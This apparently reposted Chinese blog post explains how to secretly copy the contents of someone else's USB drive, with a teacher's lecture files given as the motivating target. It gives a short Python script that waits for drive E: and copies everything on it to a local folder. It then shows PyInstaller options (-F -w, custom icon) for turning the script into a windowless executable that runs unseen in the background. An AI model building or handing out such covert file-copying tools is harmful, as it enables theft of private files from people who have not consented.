歡迎光臨
每天分享高質量文章

用幾行python程式碼偷偷複製隨身碟檔案

前言

上大學的時候有老師不給上課的PPT,就總想有個程式能偷偷複製老師的隨身碟。。。。一直沒有去實現,最近不想看論文,就想起來這個事情了,發現其實用幾行python程式碼就能搞定了。分兩步,首先寫出來python程式碼,其次把.py檔案轉換成exe檔案,直接在windows電腦上後臺執行。

程式碼

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil

# 隨身碟的碟符
usb_path = "E:/"
# 要複製到的路徑
save_path = "D:/haha"

while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的程式碼,程式碼有兩個地方要改成你自己的路徑,我在程式碼裡註釋了

  • usb_path就是隨身碟的碟符,比如你的電腦有C,D盤,那麼隨身碟插上來以後路徑就是E盤

  • save_path就是你要把複製的檔案儲存在哪裡

Python檔案打包成exe

1. 在命令列用pip安裝 pyinstaller包

pip install pyinstaller

2.下載安裝pyinstaler執行時所需要的windows擴充套件pywin32

mhammond/pywin32

選擇最新版的下載,註意要選擇對應的python版本(version)和python位數(bittedness)

透過在命令列輸入python檢視python版本和位數

如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令列中直接輸入下麵的指令即可

pyinstaller [opts] yourprogram.py 

引數含義

-F    指定打包後只生成一個exe格式的檔案(建議寫上這個引數)

-D    –onedir 建立一個目錄,包含exe檔案,但會依賴很多檔案(預設選項)

-c    –console, –nowindowed 使用控制檯,無介面(預設)

-w    –windowed, –noconsole 使用視窗,無控制檯

-p    新增搜尋路徑,讓其找到對應的庫。

-i    改變生成程式的icon圖示(比如給女朋友寫的程式,換個好看的圖示,預設的很醜)

實體說明

比如你有個python程式叫test.py,絕對路徑在[D:\project],打包成一個exe格式的檔案

pyinstaller -F D:\project\test.py

條件同上,如果還希望沒有控制檯的黑框框,在行程中偷偷執行

pyinstaller -F -w D:\project\test.py

條件同上,如果還希望更換程式圖示

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

執行程式

最後雙擊開啟生成的exe檔案,你看不到介面,但是可以在任務管理器的後臺行程中找到,當有隨身碟插入,就會自動複製到你設定的地址,然後行程就會自動關閉。

作者:王先生
源自:https://zhuanlan.zhihu.com/p/38673066
贊(0)

分享創造快樂